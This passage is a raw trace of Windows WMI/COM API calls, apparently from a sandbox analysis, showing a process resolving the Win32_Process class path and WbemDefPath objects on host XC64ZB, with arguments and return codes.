lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0116.678] IWbemServices:GetObject (in: This=0x1b4e1550, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d7c70, ppCallResult=0x0) returned 0x0 [0116.688] IWbemClassObject:Get (in: This=0x1b4d7c70, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0116.688] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0116.688] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0116.688] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0116.688] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0116.688] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0116.688] IUnknown:Release (This=0x6124e8) returned 0x1 [0116.689] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b4d2e20) returned 0x0 [0116.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2e20, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0116.689] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2e20, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x655370) returned 0x0 [0116.689] WbemDefPath:IUnknown:Release (This=0x1b4d2e20) returned 0x0 [0116.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x655370) returned 0x0 [0116.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0116.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0116.689] WbemDefPath:IUnknown:AddRef (This=0x655370) returned 0x3 [0116.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0116.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0116.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b4d2a20) returned 0x0 [0116.690] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2a20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0116.690] WbemDefPath:IUnknown:Release (This=0x1b4d2a20) returned 0x3 [0116.690] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0116.690] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0116.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0116.690] WbemDefPath:IUnknown:Release (This=0x655370) returned 0x2 [0116.690] WbemDefPath:IUnknown:Release (This=0x655370) returned 0x1 [0116.690] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0116.690] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0116.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x655370, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x655370) returned 0x0 [0116.690] WbemDefPath:IUnknown:AddRef (This=0x655370) returned 0x3 [0116.690] WbemDefPath:IUnknown:Release (This=0x655370) returned 0x2 [0116.690] WbemDefPath:IWbemPath:SetText (This=0x655370, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0116.690] IWbemClassObject:Get (in: This=0x1b4d7c70, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0116.690] SysStringByteLen (bstr="XC64ZB") returned 0xc [0116.690] SysStringByteLen (bstr="XC64ZB") returned 0xc [0116.691] IWbemClassObject:Get (in: This=0x1b4d7c70, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0116.691] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0116.691] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0116.691] IWbemClassObject:Get (in: This=0x1b4d7c70, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0116.691] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0116.691] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0116.691] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0116.691] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0116.691] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0116.691] IUnknown:Release (This=0x6124e8) returned 0x1 [0116.692] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2ac0) returned 0x0 [0116.692] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2ac0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0116.692] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2ac0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x6564b0) returned 0x0 [0116.692] WbemDefPath:IUnknown:Release (This=0x1b4d2ac0) returned 0x0 [0116.692] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x6564b0) returned 0x0 [0116.692] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0116.692] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0116.692] WbemDefPath:IUnknown:AddRef (This=0x6564b0) returned 0x3 [0116.692] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0116.692] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0116.693] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2b20) returned 0x0 [0116.693] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2b20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0116.693] WbemDefPath:IUnknown:Release (This=0x1b4d2b20) returned 0x3 [0116.693] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0116.693] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0116.693] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0116.693] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x2 [0116.693] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x1 [0116.693] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0116.693] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0116.693] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x6564b0) returned 0x0 [0116.693] WbemDefPath:IUnknown:AddRef (This=0x6564b0) returned 0x3 [0116.693] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x2 [0116.693] WbemDefPath:IWbemPath:SetText (This=0x6564b0, uMode=0x4, pszPath="") returned 0x0 [0116.693] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0116.693] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0116.693] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0116.693] IUnknown:Release (This=0x6124e8) returned 0x1 [0116.694] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2ac0) returned 0x0 [0116.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2ac0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0116.694] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2ac0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x655af0) returned 0x0 [0116.694] WbemDefPath:IUnknown:Release (This=0x1b4d2ac0) returned 0x0 [0116.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x655af0) returned 0x0 [0116.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0116.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0116.694] WbemDefPath:IUnknown:AddRef (This=0x655af0) returned 0x3 [0116.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0116.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0116.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2b80) returned 0x0 [0116.695] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2b80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0116.695] WbemDefPath:IUnknown:Release (This=0x1b4d2b80) returned 0x3 [0116.695] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0116.695] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0116.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0116.695] WbemDefPath:IUnknown:Release (This=0x655af0) returned 0x2 [0116.695] WbemDefPath:IUnknown:Release (This=0x655af0) returned 0x1 [0116.695] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0116.695] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0116.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x655af0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x655af0) returned 0x0 [0116.695] WbemDefPath:IUnknown:AddRef (This=0x655af0) returned 0x3 [0116.695] WbemDefPath:IUnknown:Release (This=0x655af0) returned 0x2 [0116.695] WbemDefPath:IWbemPath:SetText (This=0x655af0, uMode=0x4, pszPath="") returned 0x0 [0116.695] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655af0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0116.695] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6564b0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0116.695] WbemDefPath:IWbemPath:GetClassName (in: This=0x655af0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0116.695] WbemDefPath:IWbemPath:GetServer (in: This=0x655af0, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0116.695] WbemDefPath:IWbemPath:SetServer (This=0x655af0, Name="XC64ZB") returned 0x0 [0116.695] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0116.695] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0116.695] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0116.696] IUnknown:Release (This=0x6124e8) returned 0x1 [0116.696] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2ac0) returned 0x0 [0116.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2ac0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0116.696] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2ac0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x655d30) returned 0x0 [0116.696] WbemDefPath:IUnknown:Release (This=0x1b4d2ac0) returned 0x0 [0116.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x655d30) returned 0x0 [0116.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0116.696] WbemDefPath:IUnknown:QueryInterface (in: This=0x655d30, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, 